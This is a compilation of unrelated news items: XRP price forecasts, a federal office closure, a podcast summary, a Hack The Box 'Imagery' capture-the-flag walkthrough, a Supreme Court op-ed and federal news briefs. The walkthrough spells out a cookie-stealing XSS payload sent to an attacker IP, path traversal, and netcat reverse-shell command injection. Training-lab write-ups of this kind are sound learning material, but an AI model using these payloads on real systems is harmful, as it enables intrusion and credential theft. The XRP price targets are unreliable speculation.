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XRP To $11, And Then $70: The Next Impulse Wave To Watch Out For

Crypto analyst CryptoBull has highlighted targets that XRP could reach as it eyes double digits. The analyst is confident the altcoin could reach these targets, noting that current price action is mirroring the previous bull run. 

XRP Eyes Rally To $11 And Then $70

In an X post, Crypto Bull stated that the next impulse will take XRP to $11 and that the last wave will take the altcoin to $70. This came as he noted that the price pattern is mirroring the previous bull run, with the only difference being time, which he claimed makes sense, as the altcoin needs longer accumulation to reach higher prices. 

The analyst also indicated that it could take a year of accumulation for XRP to reach the $11 price target, meaning the last wave to $70 could take much longer. This prediction comes despite the current decline in the crypto market, with XRP trading below the psychological $2 price level.  

XRP

Despite the current bearish sentiment, crypto analyst CW has also declared that the XRP rally is about to begin and that the road to $21.5 is just the beginning. He noted that this is the Phase 4 peak while the first goal is for the altcoin to break its current all-time high (ATH)

His accompanying chart showed that XRP could reach this $21 target by year-end. Meanwhile, there is the possibility of the altcoin rallying above $100 in the next Phase 1, which could happen next year. Crypto Pundit X Finance Bull recently highlighted the CLARITY Act and Trump’s tariffs as factors that could boost XRP’s demand and lead to higher prices for the altcoin. 

He expects the CLARITY Act to boost XRP’s demand, especially with Trump’s Crypto Czar predicting that more banks will enter into crypto once the bill passes. X Finance Bull predicts that XRP will be the token of choice for these banks based on his belief that Ripple will provide the rails to onboard them. 

XRP Breaking Out Of Multi-Year Triangle

Crypto analyst XForce revealed in an X post that XRP is breaking out of the largest 6+ year triangle in history, yet people are calling it a fakeout. He added that he is not a permabull or permanbear on the altcoin but that he follows trends and plays macro breakout patterns. His accompanying chart indicated that XRP was on the verge of a move to the upside, with a potential rally above $11.50. 

On the lower timeframe, crypto analyst Chart Nerd stated that XRP is currently breaking out of a two-week falling wedge structure. He noted that this is a bullish reversal pattern that could send the altcoin back to $2.40 in the short term, as this is where the wedge formed. He highlighted a key resistance between $2.13 and $2.20, which the altcoin will need to break above to confirm a reversal. 

At the time of writing, the XRP price is trading at around $1.92, up in the last 24 hours, according to data from CoinMarketCap.

XRP

OPM makes the call early: Fed offices in DC closed on Monday

With an impending winter storm expected to dump as much as 10 inches of snow — and then freezing rain on top of that — in the Washington, D.C. metro area, the Office of Personnel Management decided late Friday night to close federal offices on Monday and institute maximum telework.

OPM said in its weather status update that telework and remote workers are expected to work, but “non-telework employees generally will be granted weather and safety leave for the number of hours they were scheduled to work. However, weather and safety leave will not be granted to employees who are on official travel outside of the duty station or on an Alternative Work Schedule (AWS) day off or other non-workday.”

Additionally, OPM said emergency employees are expected to report to their worksite unless otherwise directed by their agencies.

Scott Kupor, OPM director, posted the decision on X.

Update (and the final one) – We have decided to close federal offices in the region for Monday. We will update the official status on the @USOPM website shortly. We hope that everyone stays safe (and warm) over the weekend. https://t.co/iJugsRw0iz

— Scott Kupor (@skupor) January 23, 2026

WTOP, Federal News Network’s partner station, said snow is expected to start in the DC metro area Saturday night and then get heavier into Sunday morning. Temperatures aren’t expected to climb out of the 20s, making the situation more difficult.

For federal employees outside of the DC metro area affected by the winter storm, each agency will make their operating status decision, according to the governmentwide dismissal and closure policy, which OPM updated in December.

“Federal field office heads generally make workforce status decisions for their agencies’ employees and report those workforce status decisions to their agencies’ headquarters,” the guidance stated. “Agencies located outside the ‘Washington capital beltway’ should consider governmentwide operating status announcements when developing local operating status announcements. Employees should always check their agencies’ operating status. Agency-issued operating status announcements should include procedures concerning telework, arrival and departure times, and leave requests.”

In previous years, the Federal Executive Boards (FEBs) coordinated weather and other emergency related closures. The Trump administration eliminated the FEBs in April.

The number of federal employees able to participate in situational telework or who are full-time teleworkers or remote workers is unclear. The Trump administration mandated federal employees return to the office on a full-time basis in January.

OPM did issue the fiscal 2025 telework report to Congress in December. In that report for 2024, 1.3 million, or 53%, of all employees were eligible to telework, which was a 2.2% decrease from 2023. Of those employees who were eligible to telework, 1 million, or 40%, participated in some form of telework, routine or situational. OPM said this was a decrease of 3.6% over 2023.

The post OPM makes the call early: Fed offices in DC closed on Monday first appeared on Federal News Network.

© White House/Oliver Contreras

P20250106OC-0200

Microsoft’s private OpenAI emails, Satya’s new AI catchphrase, and the rise of physical AI startups

This week on the GeekWire Podcast: Newly unsealed court documents reveal the behind-the-scenes history of Microsoft and OpenAI, including a surprise: Amazon Web Services was OpenAI’s original partner. We tell the story behind the story, explaining how it all came to light.

Plus, Microsoft CEO Satya Nadella debuts a new AI catchphrase at Davos, startup CEO Dave Clark stirs controversy with his “wildly productive weekend,” Elon Musk talks aliens, and the latest on Seattle-area physical AI startups, including Overland AI and AIM Intelligent Machines.

Subscribe to GeekWire in Apple Podcasts, Spotify, or wherever you listen.

With GeekWire co-founders John Cook and Todd Bishop; edited by Curt Milton.

Hack The Box: Imagery Machine Walkthrough – Medium Difficulity

By: darknite
Reading Time: 12 minutes

Introduction to Imagery:

In this write-up, we will explore the “Imagery” machine from Hack The Box, categorised as a Medium difficulty challenge. This walkthrough will cover the reconnaissance, exploitation, and privilege escalation steps required to capture the flag.

Objective:

The goal of this walkthrough is to complete the “Imagery” machine from Hack The Box by achieving the following objectives:

User Flag:

After gaining an initial foothold through weaknesses in the web application, access is gradually expanded beyond a standard user account. By leveraging exposed application data and mismanaged credentials, lateral movement becomes possible within the system. This progression ultimately leads to access to a regular system user account, where the user flag can be retrieved, marking the successful completion of the first objective.

Root Flag:

With user-level access established, further analysis reveals misconfigured privileges and trusted system utilities that can be abused. By carefully interacting with these elevated permissions and understanding how system-level automation is handled, full administrative control of the machine is achieved. This final escalation allows access to the root account and the retrieval of the root flag, completing the machine compromise.

Enumerating the Imagery Machine

Reconnaissance:

Nmap Scan:

Begin with a network scan to identify open ports and running services on the target machine.

nmap -sC -sV -oA initial 10.129.3.10

Nmap Output:

┌─[dark@parrot]─[~/Documents/htb/imagery]
└──╼ $nmap -sC -sV -oA initial 10.129.3.10 
# Nmap 7.94SVN scan initiated Fri Jan 23 23:04:24 2026 as: nmap -sC -sV -oA initial 10.129.3.10
Nmap scan report for 10.129.3.10
Host is up (0.22s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT     STATE SERVICE  VERSION
22/tcp   open  ssh      OpenSSH 9.7p1 Ubuntu 7ubuntu4.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 35:94:fb:70:36:1a:26:3c:a8:3c:5a:5a:e4:fb:8c:18 (ECDSA)
|_  256 c2:52:7c:42:61:ce:97:9d:12:d5:01:1c:ba:68:0f:fa (ED25519)
8000/tcp open  http-alt Werkzeug/3.1.3 Python/3.12.7
|_http-title: Image Gallery
| fingerprint-strings: 
|   FourOhFourRequest: 
|     HTTP/1.1 404 NOT FOUND
|     Server: Werkzeug/3.1.3 Python/3.12.7
|     Date: Sat, 24 Jan 2026 00:25:22 GMT
|     Content-Type: text/html; charset=utf-8
|     Content-Length: 207
|     Connection: close
|     <!doctype html>
|     <html lang=en>
|     <title>404 Not Found</title>
|     <h1>Not Found</h1>
|     <p>The requested URL was not found on the server. If you entered the URL manually please check your spelling and try again.</p>
|   GetRequest: 
|     HTTP/1.1 200 OK
|     Server: Werkzeug/3.1.3 Python/3.12.7
|     Date: Sat, 24 Jan 2026 00:25:15 GMT
|     Content-Type: text/html; charset=utf-8
|     Content-Length: 146960
|     Connection: close
|     <!DOCTYPE html>
|     <html lang="en">
|     <head>
|     <meta charset="UTF-8">
|     <meta name="viewport" content="width=device-width, initial-scale=1.0">
|     <title>Image Gallery</title>
|     <script src="static/tailwind.js"></script>
|     <link rel="stylesheet" href="static/fonts.css">
|     <script src="static/purify.min.js"></script>
|     <style>
|     body {
|     font-family: 'Inter', sans-serif;
|     margin: 0;
|     padding: 0;
|     box-sizing: border-box;
|     display: flex;
|     flex-direction: column;
|     min-height: 100vh;
|     position: fixed;
|     top: 0;
|     width: 100%;
|     z-index: 50;
|_    #app-con
|_http-server-header: Werkzeug/3.1.3 Python/3.12.7

Analysis:

  • Port 22 (SSH): SSH is available for remote access and may be used later if valid credentials are obtained.
  • Port 8000 (HTTP): A Python-based web application is exposed on port 8000 and represents the primary attack surface for further enumeration.

Web Enumeration:

Web Application Exploration:

Features the app’s slogan “Capture & Cherish Every Moment” in large white text, followed by a description: “Your personal online gallery, designed for simplicity and beauty. Upload, organise, and relive your memories with ease.” Below that, a white section titled “Powerful Features at Your Fingertips” with three icons (a landscape image frame, a padlock for security, and a rocket for speed/performance). The navigation bar at the top includes “Home,” “Login,” and “Register.”

Application Overview

Centred white form on blue background titled “Register”. Fields: “Email ID” (placeholder: “Enter your email ID”) and “Password” (placeholder: “Enter your password” with eye icon for visibility). Blue “Register” button. ja

Fields pre-filled: “Email ID” as “dark@imagery.htb” and masked “Password”. Blue “Register” button.

Similar to register, titled “Login”. Fields pre-filled: “Email ID” as “dark@imagery.htb” and masked “Password”. Blue “Login” button, plus “Don’t have an account? Register here” link. Top nav: “Home”, “Login”, “Register”.

White background with title “Your Image Gallery”. A card message: “No images uploaded yet. Go to the ‘Upload’ page to add some!” Logged-in nav: “Home”, “Gallery”, “Upload”, “Logout” (red button).

Client-side JavaScript source code fetching and displaying admin bug reports from /admin/bug_reports with error handling and UI rendering logic.

JavaScript function handleDownloadUserLog redirects to /admin/get_system_log with a crafted log_identifier parameter based on username.

404 Not Found response when accessing the root /admin endpoint directly.

JSON access denied response (“Administrator privileges required”) when trying to access /admin/users as a non-admin user.

405 Method Not Allowed error on GET request to /report_bug, indicating the endpoint exists but requires a different HTTP method (likely POST).

App footer section showing copyright “© 2026 Imagery”, Quick Links (Home, Gallery, Upload, Report Bug), social media links, and contact info (support@imagery.com, fictional address).

Stored Cross-Site Scripting in Bug Reporting Feature on Imagery Machine

“Report a Bug” form pre-filled with “bugName”: “dark” and the same XSS cookie-stealing payload in Bug Details, ready for submission.

Terminal session as user “dark@parrot” running a local HTTP server (sudo python3 -m http.server 80) in the ~/Documents/htb/imagery directory to serve files/listen for requests on port 80.

Burp Suite capture of a successful POST to /report_bug, submitting JSON with “bugName”: “dark” and XSS payload in “bugDetails” (<img src=x onerror=”document.location=’http://10.10.14.133:80/?cookie=’+document.cookie”>), response confirms submission with admin review message.

The response of successful POST to /report_bug, submitting an XSS payload in bugDetails to exfiltrate cookies via redirect to the attacker’s server.

Burp Suite capture of GET request to /auth_status returning JSON with logged-in user details (username “dark@imagery.htb“, isAdmin false).

Local Python HTTP server log showing incoming request from target (10.129.3.10) with stolen admin session cookie in query parameter, plus 404 for favicon.

Burp Suite capture of GET to /admin/ endpoint returning standard 404 Not Found HTML error page.

Successful GET to /admin/users with stolen admin cookie returning JSON user list (admin with isAdmin:true, testuser with isAdmin:false).

JavaScript source snippet of handleDownloadUserLog function redirecting to /admin/get_system_log with the encoded log_identifier parameter.

Local File Inclusion Leading to Credential Disclosure

Failed LFI attempt on non-existent path returning 500 Internal Server Error with “Error reading file: 404 Not Found”.

Successful LFI exploitation via /admin/get_system_log retrieving /etc/passwd contents through path traversal payload “../../../../../../etc/passwd”.

Admin Panel interface (accessed with hijacked session) showing User Management with admin and testuser entries, plus empty Submitted Bug Reports section.

LFI retrieval of /proc/self/environ exposes environment variables (LANG, PATH, WEBHOME, WEBSHELL, etc.).

Retrieved db.json file contents via /admin/get_system_log path traversal, exposing user records with MD5-hashed passwords for admin and testuser, alongside an empty bug_reports array.

LFI retrieval of config.py source code exposing app constants like DATA_STORE_PATH=’db.json’, upload folders, and allowed extensions.

CrackStation online tool cracking the MD5 hash “2c65c8d7bfbca32a3ed42596192384f6” to plaintext “iambatman”.

Terminal output of failed SSH attempt as testuser@10.129.3.10 with publickey authentication denied.

Authenticating to the Imagery Application Using TestUser’s Credentials

Login page with Email ID pre-filled as “testuser@imagery.htb” and masked password field.

Empty Gallery page for logged-in user stating “No images uploaded yet. Go to the ‘Upload’ page to add some!”

Upload New Image form with “lips.png” selected (max 1MB, allowed formats listed), optional title/description, group “My Images”, uploading as Account ID e5f6g7h8.

Achieving Shell Access via Remote Code Execution

Gallery view showing single uploaded image “lips” (red lips icon) with open context menu offering Edit Details, Convert Format, Transform Image, Delete Metadata, Download, and Delete.

Visual Image Transformation modal in crop mode with selectable box over the red lips image, parameters set to x:0 y:0 width:193 height:172.

Successful Burp POST to /apply_visual_transform with valid crop params returning new transformed image URL in /uploads/admin/transformed/.

Burp capture of POST to /apply_visual_transform with invalid crop “x”:”id” parameter resulting in 500 error (“invalid argument for option ‘-crop'”).

Burp capture of POST to /apply_visual_transform injecting “cat /etc/passwd” via crop “x” parameter, resulting in 500 error exposing command output snippet.

Attacker terminal running netcat listener on port 9007 (nc -lvnp 9007).

Burp capture of POST to /apply_visual_transform with reverse shell payload in crop “x” parameter (“rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 10.10.14.133 9007 >/tmp/f”).

Successful reverse shell connection from target (10.129.3.10) to attacker listener on port 9007, landing as web@Imagery.

Detailed directory listing of /web (app root) revealing source files (api_*.py, app.py, config.py, db.json, utils.py) and directories (bot, env, static, system_logs, templates, uploads).

Directory listing of /web/bot showing admin.py file owned by web user.

Source code of admin.py revealing Selenium automation bot with hardcoded admin credentials (“admin@imagery.htb“:”strongsandofbeach”), bypass token, and Chrome binary path.

Backup and Archive Discovery

Detailed directory listing of /var showing system directories (backup, backups, cache, crash, lib, local, log, mail, opt, run, snap, spool, tmp).

Directory listing of /var/backup showing an encrypted backup file web_20250806_120723.zip.aes.

Directory listing of /var/backups showing multiple compressed APT/dpkg state archives (.gz files).

Target starting Python HTTP server on port 9007 to serve the encrypted backup file.

Wget successfully downloading the encrypted backup file web_20250806_120723.zip.aes (22MB) from the target’s HTTP server on port 9007.

File command confirming web_20250806_120723.zip.aes is AES-encrypted data created by pyAesCrypt 6.1.1.

Attempt to run dpyAesCrypt.py failing with ModuleNotFoundError for ‘pyAesCrypt’ (case-sensitive import issue).

Successful pip3 user installation of pyaescrypt-6.1.1 package.

Failed execution of dpyAesCrypt.py due to ModuleNotFoundError for ‘termcolor’ (missing import dependency).

Successful pip3 user installation of termcolor-3.3.0 package.

Custom pyAesCrypt brute-forcer discovering password “bestfriends” early in the wordlist.

Successful decryption of the AES backup using “bestfriends”, outputting the original web_20250806_120723.zip.

The cunzip extracting the decrypted backup archive, revealing full app source (api_*.py, app.py, config.py, db.json, utils.py), templates, system_logs, env, and compiled pycache files.

cat of decrypted db.json revealing user database with admin (hashed password), testuser (“iambatman”), and mark (another hashed password).

CrackStation results cracking MD5 hashes to “iambatman”, “supersmash”, and “spiderweb1234” (one unknown).

Successful su to mark using password “supersmash”, confirming uid/gid 1002.

Python one-liner (python3 -c ‘import pty;pty.spawn(“/bin/bash”)’) to spawn an interactive bash shell.

ls -al in /home/mark showing files including user.txt (likely containing the flag).

We can read the user flag by typing the “cat user.txt” command

Escalate to Root Privileges Access to Imagery Machine

Privilege Escalation:

sudo -l reveals that user mark can run /usr/local/bin/charcol as root without a password (NOPASSWD).

charcol help output describing the CLI tool for encrypted backups, with commands (shell, help) and options (-quiet, -R for reset).

Failed charcol shell passphrase attempts (“bestfriend”, “supermash”, “supersmash”) resulting in lockout after multiple errors.

sudo charcol -R resetting application password to default (“no password” mode) after system password verification.

sudo charcol -R resetting application password to default (“no password” mode) after system password verification.

Repeated sudo charcol -R successfully resetting to no password mode.

charcol interactive shell entry after initial setup, displaying ASCII logo and info message.

charcol help output explaining backup/fetch commands and “auto add” for managing automated (root) cron jobs, with security warnings.

Attacker terminal running netcat listener on port 9007 in preparation for reverse shell.

Successful “auto add” command creating a root cron job with reverse shell payload to attacker (10.10.14.133:9007), verified with system password “supersmash”.

Successful privilege escalation to root via a malicious cron job triggered a reverse shell, followed by reading the root flag from /root/root.txt

The post Hack The Box: Imagery Machine Walkthrough – Medium Difficulity appeared first on Threatninja.net.

The Supreme Court’s dangerous double standard on independent agencies

The Supreme Court appears poised to deliver a contradictory message to the American people: Some independent agencies deserve protection from presidential whim, while others do not. The logic is troubling, the implications profound and the damage to our civil service system could be irreparable.

In December, during oral arguments in Trump v. Slaughter, the court’s conservative majority signaled it would likely overturn or severely weaken Humphrey’s Executor v. United States, the 90-year-old precedent protecting independent agencies like the Federal Trade Commission from at-will presidential removal. Chief Justice John Roberts dismissed Humphrey’s Executor as “just a dried husk,” suggesting the FTC’s powers justify unlimited presidential control. Yet just weeks later, during arguments in Trump v. Cook, those same justices expressed grave concerns about protecting the “independence” of the Federal Reserve, calling it “a uniquely structured, quasi-private entity” deserving special constitutional consideration.

The message is clear: Wall Street’s interests warrant protection, but the rights of federal workers do not.

The MSPB: Guardian of civil service protections

This double standard becomes even more glaring when we consider Harris v. Bessent, where the D.C. Circuit Court of Appeals ruled in December 2025 that President Donald Trump could lawfully remove Merit Systems Protection Board Chairwoman Cathy Harris without cause. The MSPB is not some obscure bureaucratic backwater — it is the cornerstone of our merit-based civil service system, the institution that stands between federal workers and a return to the spoils system that once plagued American government with cronyism, inefficiency and partisan pay-to-play services.

The MSPB hears appeals from federal employees facing adverse actions including terminations, demotions and suspensions. It adjudicates claims of whistleblower retaliation, prohibited personnel practices and discrimination. In my and Harris’ tenure alone, the MSPB resolved thousands of cases protecting federal workers from arbitrary and unlawful treatment. In fact, we eliminated the nearly 4,000 backlogged appeals from the prior Trump administration due to a five-year lack of quorum. These are not abstract policy debates — these are cases about whether career professionals can be fired for refusing to break the law, for reporting waste and fraud or simply for holding the “wrong” political views.

The MSPB’s quasi-judicial function is precisely what Humphrey’s Executor was designed to protect. This is what Congress intended to follow in 1978 when it created the MSPB in order to strengthen the civil service workforce from the government weaponization under the Nixon administration. The 1935 Supreme Court recognized that certain agencies must be insulated from political pressure to function properly — agencies that adjudicate disputes, that apply law to fact, that require expertise and impartiality rather than ideological alignment with whoever currently occupies the White House. Why would today’s Supreme Court throw out that noble and constitutionally oriented mandate?

A specious distinction

The Supreme Court’s apparent willingness to treat the Federal Reserve as “special” while abandoning agencies like the MSPB rests on a distinction without a meaningful constitutional difference. Yes, the Federal Reserve sets monetary policy with profound economic consequences. But the MSPB’s work is no less vital to the functioning of our democracy.

Consider what happens when the MSPB loses its independence. Federal employees adjudicating veterans’ benefits claims, processing Social Security applications, inspecting food safety or enforcing environmental protections suddenly serve at the pleasure of the president. Career experts can be replaced by political loyalists. Decisions that should be based on law and evidence become subject to political calculation. The entire civil service — the apparatus that delivers services to millions of Americans — becomes a partisan weapon to be wielded by whichever party controls the White House.

This is not hypothetical. We have seen this movie before. The spoils system of the 19th century produced rampant corruption, incompetence and the wholesale replacement of experienced government workers after each election. The Pendleton Act of 1883 and subsequent civil service reforms were not partisan projects — they were recognition that effective governance requires a professional, merit-based workforce insulated from political pressure.

The real stakes

The Supreme Court’s willingness to carve out special protection for the Federal Reserve while abandoning the MSPB reveals a troubling hierarchy of values. Financial markets deserve stability and independence, but should the American public tolerate receiving partisan-based government services and protections?

Protecting the civil service is not some narrow special interest. It affects every American who depends on government services. It determines whether the Occupational Safety and Health Administration (OSHA) inspectors can enforce workplace safety rules without fear of being fired for citing politically connected companies. Whether Environmental Protection Agency scientists can publish findings inconvenient to the administration. Whether veterans’ benefits claims are decided on merit rather than political favor. Whether independent and oversight federal organizations can investigate law enforcement shootings in Minnesota without political interference.

Justice Brett Kavanaugh, during the Cook arguments, warned that allowing presidents to easily fire Federal Reserve governors based on “trivial or inconsequential or old allegations difficult to disprove” would “weaken if not shatter” the Fed’s independence. He’s right. But that logic applies with equal force to the MSPB. If presidents can fire MSPB members at will, they can install loyalists who will rubber-stamp politically motivated personnel actions, creating a chilling effect throughout the civil service.

What’s next

The Supreme Court has an opportunity to apply its principles consistently. If the Federal Reserve deserves independence to insulate monetary policy from short-term political pressure, then the MSPB deserves independence to insulate personnel decisions from political retaliation. If “for cause” removal protections serve an important constitutional function for financial regulators, they serve an equally important function for the guardians of civil service protections.

The court should reject the false distinction between agencies that protect Wall Street and agencies that protect workers. Both serve vital public functions. Both require independence to function properly. Both should be subject to the same constitutional analysis.

More fundamentally, the court must recognize that its removal cases are not merely abstract exercises in constitutional theory. They determine whether we will have a professional civil service or return to a patronage system. Whether government will be staffed by experts or political operatives. Whether the rule of law or the whim of the president will govern federal employment decisions.

A strong civil service is just as important to American democracy as an independent Federal Reserve. Both protect against the concentration of power. Both ensure that critical governmental functions are performed with expertise and integrity rather than political calculation. The Supreme Court’s jurisprudence should reflect that basic truth, not create an arbitrary hierarchy that privileges financial interests over the rights of workers and the integrity of government.

The court will issue its decisions over the next several months and when it does, it should remember that protecting democratic institutions is not a selective enterprise. The rule of law requires principles, not preferences. Because in the end, a government run on political loyalty instead of merit is far more dangerous than a fluctuating interest rate.

Raymond Limon retired after more than 30 years of federal service in 2025. He served in leadership roles at the Office of Personnel Management and the State Department and was the vice chairman of the Merit Systems Protections Board. He is now founder of Merit Services Advocates.

The post The Supreme Court’s dangerous double standard on independent agencies first appeared on Federal News Network.

© AP Photo/Julia Demaree Nikhinson

The Supreme Court is seen during oral arguments over state laws barring transgender girls and women from playing on school athletic teams, Tuesday, Jan. 13, 2026, in Washington. (AP Photo/Julia Demaree Nikhinson)

Former Justice Dept employees form alumni network to help with job searches

  • Former Justice Department employees have an alumni network to turn to for help with looking for work. An employee organization called Justice Connection said it recently expanded its DOJ alumni network, aiming to help employees navigate transitions out of the agency. The organization is offering to connect current and recent DOJ employees with more than 100 agency alumni. They’ll be able to get informational interviews, advice and insights for how to continue on a specific career path, including attorneys, legal support staff and many others.
  • The House on Thursday passed the final group of spending bills needed before the Jan. 30 funding deadline. In a vote of 341 to 88, lawmakers approved fiscal 2026 funding for the departments of Defense, Labor, Education, Transportation and Health and Human Services. But due to Democratic opposition over ICE funding, the spending bill for the Department of Homeland Security passed with a much narrower margin, in a party line vote of 220 to 207. The appropriations package now heads to the Senate for consideration.
  • The Postal Service is now accepting bids from shippers for use of its nationwide last-mile delivery network. USPS already has agreements with shipping giants like Amazon and UPS to get packages to their final destination. But it’s looking to give other delivery companies an opportunity to strike similar deals. Last-mile delivery is the most expensive leg of deliveries, and USPS goes to more addresses than its private-sector competitors. USPS said winning bidders will be notified during the second quarter of this calendar year.
  • The Department of Veterans Affairs has officially lifted its hiring freeze, but staffing caps are still in place for a smaller workforce. The VA saw its first-ever workforce net decrease last year and is unlikely to hire its way to a higher headcount than what it currently has. VA’s Under Secretary for Health said the hiring freeze is over, but VA facilities generally can’t exceed staffing caps set for their regions. A report from Senate VA Committee Democrats said the VA lost more than 40,000 employees last year. About 10,000 of those employees worked in frontline positions that the department has struggled to fill.
  • Value-added resellers finally get a chance to weigh in on the concerns about their business model and the changes the General Services Administration has been considering. GSA issued a request for information yesterday seeking feedback from VARs and others to gain a clearer understanding of the value added by resellers, and the resulting impact of these services on pricing and the ability to meet the government’s requirements. The initial focus of the feedback is for companies in a specific special item number for IT hardware, 33411. Responses to the RFI are due by Feb. 9.
    (GSA seeks feedback from VARs - General Services Administration)
  • The Small Business Administration suspended nearly a quarter of all participants in the 8(a) program. The SBA has suspended more than 1,000 companies in the program. SBA made the decision after it deemed those small businesses non-compliant with its financial data request from December. An SBA spokesperson said these suspended firms have 45 days to file an appeal. At the same time, SBA issued new guidance yesterday clarifying how it will run the small business development program going forward. Among the changes is that SBA will administer the 8(a) program based on race-neutral requirements. It also will no longer approve the use of “socially disadvantage narratives” as a way to get into the program.
  • The Marine Corps has tapped GenAI.mil as its official enterprise generative artificial intelligence platform that will consolidate all duplicative, general-purpose GenAI usage into one system. Marines, civilians and contractors can start using GenAI.mil immediately. The platform is approved only for processing Controlled Unclassified Information, but the service plans to expand GenAI.mil to higher classification networks. The service also plans to integrate Marine Corps data sources and agentic AI development solutions in the future.
  • Congress wants the Space Force to organize its programs and people by mission area. One of the root causes of the Defense Department's failed acquisition system is the military rotation system, which often replaces program managers every two to three years. That turnover, lawmakers argue, prevents personnel from staying in place long enough to develop the technical expertise needed to manage increasingly complex systems. Now, Congress is directing the Pentagon to propose a Space Force pilot program that would keep personnel assigned to specific mission areas for substantially longer tours. The pilot program should also examine eliminating traditional occupational specialty categories, such as acquisition or operations, in favor of mission-focused specializations, such as missile warning or satellite communications.

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An organization’s new name signals a broader mission to support both Airmen and Guardians

Interview transcript

Terry Gerton Let’s do first things first. Tell us about the Air and Space Forces Aid Society. What do you do?

Ed Thomas The bottom line, Terry, is we take care of airmen, guardians, and their families. We’ve been doing it since 1942, as World War II started to ramp up, all of the services have an organization like this. It is the official relief society of that service. Army emergency relief takes care of soldiers. Navy Marine Corps relief takes of marines and sailors. Coast Guard Mutual Assistance takes care of coasties. We take care in the Air and Space Forces, now the Air and Space Force’s Aid Society, we take care of airmen, guardians, and their families when they need us most.

Terry Gerton And what sort of format does that aid take?

Ed Thomas We do several things. At the most basic level we provide two basic forms of assistance. The first is grants, lots. We did $4.5 million in scholarships last year, we did almost $5 million dollars in disaster relief when hurricanes Helene and Milton and other natural disasters hit parts of the United States where we had our service member stationed. So we do grants we also do zero interest loans. Now we’re not a bank but the reason we do zero interest loans is in some cases, it prevents our young, particularly our most junior enlisted folks from going to a payday loan organization that’s going to charge them 30%, 39% interest. And we want to avoid that.

Terry Gerton Well, the big news for us in this conversation is that you’ve added Space Force to the organization’s name and logo. Tell us about why and what message you wanna send with that.

Ed Thomas Yeah, well, I would say, Terry, it is overdue that finally we have rebranded, renamed ourselves the Air and Space Forces Aid Society. You know, I was on the Air staff with Gen. Goldfein, Gen. Raymond, Secretary Wilson in 2019 on December 20th, when we stood up the Space Force and it wasn’t like a five-year planning ramp to create this new service. On day one, when President Trump signed the NDAA out of Andrews Air Force Base, we had a space force. It was a Space Force of one, Gen. Raymond, but now it’s ramped up to about 10,000 people. They’re going to be ramping up to almost three times that size in the out years, and we need to recognize as the official aid organization of the Department of the Air Force, who we serve. And we’ve been serving guardians since day one, but we just wanna make sure that we’re connecting with those people that we’re charged to help take care of and that airmen, guardians, and their families know that we were here for them.

Terry Gerton As you’ve built a support mechanism for guardians, are you finding that that force has needs that are different in scale or scope from airmen in general?

Ed Thomas No, I would say for the most part, the needs are very, very similar. You know, most of our support is focused on our most junior enlisted, E1s to E4s. And the kinds of difficulties that our young service members are experiencing, whether they’re Air Force, Space Force, Army, Navy, Marine Corps, they look very similar, It’s simple things like not having any savings in their account when a financial crisis hits. Their Hyundai Santa Fe, they lose their engine on their 8-year-old car. Very expensive to fix. Maybe one car for a family and they just don’t have the financial reserves. That’s where we come in, help them get them back on their feet. Hopefully they’ll never need us again, but we want to be there for these families, Space Force, Air Force, when they need us.

Terry Gerton Is there something about this group of service members that you think most Americans don’t understand? You’ve just mentioned some real significant financial challenges.

Ed Thomas Yeah, Terry, thanks. I think there are several things, but you know, I used to work for the Chairman of the Joint Chiefs, Martin Dempsey, Gen. Dempsey, one of my favorite people in the world. And he would very often say, our people are called to lead uncommon lives. And they are uncommon lives. I mean, you take an 18, a 20, a 22-year-old, they move away from their family, sometimes to the other side of the world. They leave their community, they leave their support, sources of support. Often they end up with all the change happening at once that adds a lot of financial stress, often adds a lot of mental or emotional stress, and all things people learn to deal with. I spent 33 years on active duty in the military, plus four years as a cadet, and I grew up in an army family. I was kind of used to this. But we have a lot of people that are plucked out of their families and their homes across America thrown into this military life across the country, across the world. And there’s a lot unique challenges and stressors that they just might not be prepared for.

Terry Gerton I’m speaking with retired Air Force Maj. Gen. Ed Thomas, who leads the Air and Space Forces Aid Society. Are there particular needs in the Air Force and the Guardians that you’re meeting right now?

Ed Thomas Absolutely. Some of the biggest needs that we meet on a day-to-day basis, and we’re often doing them very quietly, is just basic living expenses. It’s those airmen or guardians or their families that meet an unexpected financial crisis, and they just don’t have the reserves to deal with it. Sometimes it’s rent, sometimes it’s mortgage, particularly in high cost living areas like New York or L.A. Where we’re asking people to go relocate to. Sometimes it is auto repair. So there’s a lot of those things that we’re doing. And then one of the other things that we do that people don’t often realize is just helping young airmen and guardians get back for emergencies. Let’s say they’re stationed in Kunsan, Korea, you know, an hour, hour and a from soul. And they lose a family member, they have a family that’s terminally ill. Our U.S. Government policies, while they’re great and they help take care of our people, they don’t pay for all of those things. So for a young airman to be able to … take off and travel from one of the side of the world to the other to get there for a family emergency, they often need help and they often need support. We’ll do that, we’ll work with them, we work with the Red Cross. We’ll pay for their flights, we’ll get them home and make sure they’re there when they need to be there. Or, in unfortunate cases, at least be there to say goodbye.

Terry Gerton As you look forward to 2026, what are the priorities? Beyond the name change, are there new programs or outreach initiatives or partnerships you’re really excited about?

Ed Thomas No, thanks. Yes to all of those things. We have probably made the biggest changes in the last, say, six or seven months that we’ve probably made in decades to the way we deliver our programs. And I’ll tie that to our number one strategic priority, and that’s just awareness. That’s just making sure that we create and enhance the awareness across the force, so when airmen, especially people who are relatively new to the force, hit a snag, they know who to turn to. So some of the things that we’ve done is we’ve dramatically increased our childcare support, money that goes to these young families to be able to help take care of children when they’re deployed, when they are doing a permanent change of station from one assignment to another. Car seats is another one. We buy car seats for every E1 to E5 when they have a new child. It’s $250 that gets Zelled straight into their account so that they can go get that car seat. We also just finished a program called Home for the Holidays, where we just spent more than a quarter million dollars getting young, single airmen from their location back to home to spend it with family and loved ones over the holidays. So that travel program is one of the things that we’re really proud of, and we wanna make sure that we can reunite our service members with their families, particularly at times like this.

Terry Gerton As we wrap up here, I wanna give you the opportunity to make a call to action. What can the public or industry do to help you move the needle?

Ed Thomas Well, the first thing I’d say, Terry, is the awareness piece. We, while we need funds and we need to fundraise, we want to make sure that all of our service members know that we’re here to help them. That’s where my passion is. And that’s where I want to make sure people know how to come to us in times of need. It’s not only good for those service members and their families, but it’s good for the readiness of the nation. Now, also, I’ll never turn down an opportunity for help. AFAS.org, If people go there, they can either click a button that says ‘hey I need help’ or click a button that ‘I want to support.’ There are certainly a lot of young junior airmen and guardians of their families that we can use with your help. So thank you Terry.

